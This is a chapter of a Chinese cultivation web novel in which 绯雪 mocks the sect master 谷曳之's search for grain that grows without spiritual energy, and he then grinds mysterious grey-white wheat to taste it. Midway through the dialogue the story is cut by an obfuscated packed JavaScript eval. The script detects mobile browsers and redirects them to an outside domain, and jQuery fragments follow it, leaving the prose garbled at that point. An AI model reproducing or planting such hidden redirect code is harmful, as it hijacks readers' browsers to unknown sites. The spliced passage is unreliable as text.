19.颠倒

作品:《请勿二设入脑

    “她一个仙盟人,要什么宗主之位?”绯雪仍记着“仙盟不理四宗内务”的规矩。


    她不介意田埂的垒土和车前草,随便找了块地方就地坐下。


    “话虽这么说,但你也看见了。这些年仙盟与四宗走得愈发近,所谓‘规矩’不过是一纸空文,谁都不会遵守,说不准将来这条空文会彻底废除,到时我便立封退辞……”谷曳之打算着,眼光不断地往下瞄,盯着绯雪落地的衣袍下摆,他忍不住岔开话题,“农地脏秽,还请姑娘勿污衣……她很在意这件事的。”


    不用明说都知“她”指的是谁。


    绯雪不爽地“啧”了一声,没有听劝起身,反手拔了一棵埂沿的车前草,连根带土往衣摆上抹。


    硬是擦出一道“灰黄战绩”。


    谷曳之:……你是存心跟藏乌过不去。


    绯雪很满意自己弄的污渍,扔草继续道:“你若没有宗主之心,为何不一开始就推辞宗主之位?”


    谷曳之懊恼:“说来惭愧,我做宗主仅是为了名正言顺进入书画楼的禁文室。”


    药宗的禁文室存放大量不能外传的药术经卷,只有宗主和仙盟盟主才能进入。


    “你进那种地方做什么,里面又不会有你想要农种稻苗。”


    谷曳之明明是位药修,却对炼药养蛊之事不热衷,心里想的念的只有一亩三分地,嘴里常常念叨的便是吃饭,种田和养更多的菜。


    谷曳之不好意思道:“里面是没有我想要的农植,但封存着好几本植株栽培种植宝典,我馋了好些年了。”


    绯雪:“……”


    为了更好的种田而当上药宗宗主,这理由放在修真界也是独一档的。


    谷曳之与曲泱泱一样,当谈论到自己感兴趣的事物,语速比平日还要快上几分,像火烧油一样,兴奋得直跳脚。


    他立刻将自己从书中找到的奇事说与绯雪听:“禁文室的经卷中曾记载,在过去,应该是比洄灵王朝还要古老的时代,庄稼的生长是不需要靠灵气维持——你知道这意味着什么吗?它们能自己成熟!”


    谷曳之语气中是难以抑制的憧憬和惊诧。


    古书上的纪录与现实情况是天差地别。谁都知道,灵气乃天地精华,哺育万物繁荣茂生。天地若没有了灵气,就如同草木失去了太阳,庄稼怎么可能会结下粮食?


    “可能存在这种情况吗?那古书保不准与《泯》一样,不要是诓你,就是在害你。”绯雪对来路不明的禁书持质疑态度。


    “不不不!我真的见过这种光景,千真万确!”谷曳之急道,“它当时就在你附近发生了!”


    绯雪缓缓冒出一个:“?”


    什么时候?


    谷曳之手脚比划,绘声绘色回忆那一刻的情景——正是七年前,藏乌发现丹度生假死,还偷偷回归药宗躲藏在秘境内疗伤。


    事发突然,藏乌只有谷曳之一个帮手,二位亲传弟子在秘境对着自己的师父大打出手,上演一场“欺师灭祖”的好戏。


    谷曳之不善作战,在丹度生的逼死攻势下节节后退。刀光剑影中,他装有作物种子的腰包不慎划破,麦种随空飞散。


    有几粒普通的麦粒落在沉睡的绯雪身旁。它们陷进石缝,竟瞬时顶破石板拔地而起,萌芽眨眼成麦苗,长势喜人。不出一刻,它们开花结出厚实的麦穗,成熟迎来丰收。


    那幅场景谷曳之死都不会忘记!


    他担心绯雪存疑,说完立刻去掀自己布满补丁的腰包,从里头掏出两、三根麦穗秆,那是他在战后拾宝般折下来的。


    七年前的神奇麦子!


    麦穗秆非金黄色,整枝穗从穗毛到秆叶都呈现灰白色,好似是用石灰烧出来的,未经上色的陶艺品。


    绯雪捏过麦秆,触感与一般的麦子一样,摸不出什么差异。


    “我特意排查过了,这绝对不是由灵气养育的。”谷曳之对这一点很有自信。


    无论是他们药宗以灵力催动作物,还是作物自主吸收秘境的灵气,二者都不会生长出这般苍白模样。


    “现下只有两种推测,一是作物真的具有自我生长的能力,二是有一种我们都不曾发现的事物在助它们生长,不管是哪一种,北境都可以借助它解决粮荒之灾!”谷曳之手舞足蹈。


    北荒戎境灵气稀薄,大多数庄稼到这里“非死即残”,收成一直不太好看,粮价居高不下。有时北境平民为吃饱饭,无所不用其及。贰黍不是个例,北境过去有不少凡人顶着骂名,也要铤而走险强入药宗,只求果腹安生。


    谷曳之痴迷古书上描绘的光景,他想要找到“不需要灵力就能生长”的庄稼,改善北境的民生情况。


    “首席大人,七年前奇迹就发生在你身边!现在你能试试再让奇迹出现一次吗?”


    绯雪故作沉吟:“不用灵气而催发麦子啊,我试试……”


    她从灰白的麦穗中拧下一粒穗子,把它捧在手心之中,双手合十,闭目心中默念,模样倒显虔诚。


    谷曳之随着她的神色屏息凝神。


    一刹那,绯雪倏忽睁眼,似是感受到什么,掌心紧捂着麦穗,单眼从掌缝间去瞧它:“唔……哦!我看见了。”


    谷曳之激动万分:“奇、奇迹再现了?!”


    他利索地凑过去,眼睛紧盯绯雪的紧合的手掌,想要近距离观察第二次的奇迹。


    绯雪在他眼前缓缓一展——掌心中穗子半分变化也没有,该是什么样还是什么样。


    “再现,破碎的梦。”绯雪戏谑道。


    被戏耍的谷曳之:“……这不好笑。”


    绯雪将灰白麦穗还给他,坦坦荡荡:“你想在一个睡了七年、这不懂那不明的人手中得到奇迹,还不如你自己去成为奇迹。”


    谷曳之摇摇头,他指了指麦田,示意得明显,他有为之努力过,结果只有失败。


    七年前,他在秘境采集的灰白麦有一部分用作育苗种植,可不管谷曳之如何处理,这些种子种下后又与他平日遇见的麦种无异,仍需要灵气催发。


    而灵气催发的灰白苗又会重新“堕回平庸”,恢复正常的颜色。此刻药圃中种植的金麦,便是七年前灰白麦的“不知第几任后代”。


    “打住。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14420030|151748||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ”在谷曳之又要陷入自我怀疑之前,绯雪先发制人,问出一个致命问题,“你有试吃过这颜色奇怪的粮食吗?”


    她点了点他手中的灰白麦。


    谷曳之呆滞:“我……没想过这一方面。”


    二人忽地陷入死寂,垂头齐齐看向麦穗。


    他拾来的“奇迹之果”数量有限,要么拿去育种,要么拿去研究,用一点少一点。到现在他还真不清楚灰白麦本身能不能吃。


    俗话说得好,民以食为天。他谷曳之研究粮食增产这么多年,偏偏忘了“吃”这一最基本的问题。


    谷曳之沉重地一颔首,感谢绯雪的用心提醒。既然现在实验进展停滞不前,他不如勇敢做出一个最关键最伟大的决定,将自己最后的五、六根麦穗秆尽数牺牲!


    *


    *


    半个时辰之后。


    当藏乌寻绯雪来到露天药圃,圃内已是“热火朝天”!小铁锅中的沸水翻滚热气,锅下烈火舔舐锅底,柴薪发出噼里啪啦的响声,不时跃出火星。


    修仙界唯一的地位尊贵的药宗宗主正在挽着袖子,衣服前摆系结绑在腰间,如勤劳的驴一般吭哧吭哧地推磨磨麦粉,粉末小小一撮。


    绯雪自是不会动手的,她坐在柴薪堆,时不时来两句鼓励人心的话,坐享人生。


    藏乌身后还跟着贰黍,他吃惊地探出脑袋,不敢相信面前这一画面。


    眼尖的他瞅见那位毁容女子戴着锁灵镯……八成是长老抓回来的死囚犯。


    一个死囚犯居然让一位药宗宗主当驴推磨?


    倒反天罡了!


    狗腿子贰黍刚归入玄乌长老麾下,即刻想表现一把,便在藏乌刚入田圃时,他极用力清清嗓子:“玄乌长老驾到!”


    谷曳之听罢停下推石磨盘的手。


    按仙盟之礼而言,谷曳之需要敬藏乌一句“长老”,但在药宗,谷曳之又是藏乌的师兄。他们俩大多时候各论各的,也不在乎多少礼数。藏乌与其相互一点头,也算是行过礼了。


    贰黍杵在一旁,眼睛瞅着那位柴薪堆上的死囚犯,内心不满——对面没有一点给长老起身行礼的觉悟,头更是懒得抬,貌似没听见他如鼓般响亮的喧礼。


    贰黍率先卖起乖,渡步给谷曳之垂首行礼,态度之恳切:“问宗主好。小的贰黍,愚钝无能,此前多次顶撞冒犯,还请宗主谅解,小的下辈子定做牛做马回报恩情!”


    谷曳之素来以德报怨,他知藏乌将贰黍收于麾下定非随心之举,他摆摆手算是前怨尽散:“罢了,此次就让它过去罢。”


    贰黍得了便宜继续卖乖,进一步详问:“宗主在此劳忙是为求何事?小的愿敬献绵薄之力。”


    “无他,煮一碗面糊汤而已。”谷曳之没多大心眼,坦率道。


    贰黍的眼角瞥见藏乌没有什么阻止的意思,放心大胆道:“小的为宗主掌火。”


    他顺势来到薪火柴堆,离那位囚犯更近了。


    贰黍心想:她身上的衣服看上去倒是值钱,但就是样子太丑了,这种模样也敢在光天化日之下跑出来,也不怕吓着人。